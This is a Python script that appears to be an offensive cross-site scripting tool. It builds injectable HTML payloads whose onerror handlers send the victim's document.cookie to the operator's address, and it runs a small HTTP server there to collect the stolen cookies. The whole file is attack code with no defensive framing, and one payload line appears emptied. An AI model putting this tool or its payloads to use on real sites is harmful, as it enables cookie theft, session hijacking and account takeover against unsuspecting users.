#!/usr/bin/env python import util import sys import http.server import socketserver from http.server import HTTPServer, BaseHTTPRequestHandler def getCookieAddress(address, port): if port == 80: return "'http://%s/?x='+document.cookie" % address else: return "'http://%s:%d/?x='+document.cookie" % (address, port) def generatePayload(type, address, port): payloads = [] cookieAddress = getCookieAddress(address, port) media_tags = ["img","audio","video","image","body","script","object"] if type in media_tags: payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress)) if type == "script": payloads.append('' % cookieAddress) if len(payloads) == 0: return None return "\n".join(payloads) class XssServer(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def _html(self): content = f"

Got'cha

" return content.encode("utf8") # NOTE: must return a bytes object! def do_GET(self): self._set_headers() self.wfile.write(self._html()) def do_HEAD(self): self._set_headers() def do_POST(self): self._set_headers() self.wfile.write(self._html()) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: %s [port]" % sys.argv[0]) exit(1) listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) payload_type = sys.argv[1].lower() local_address = util.getAddress() # choose random port if listen_port is None: sock = util.openServer(local_address) if not sock: exit(1) listen_port = sock.getsockname()[1] sock.close() payload = generatePayload(payload_type, local_address, listen_port) if not payload: print("Unsupported payload type") exit(1) print("Payload:") print(payload) print() httpd = HTTPServer((local_address, listen_port), XssServer) print(f"Starting httpd server on {local_address}:{listen_port}") httpd.serve_forever()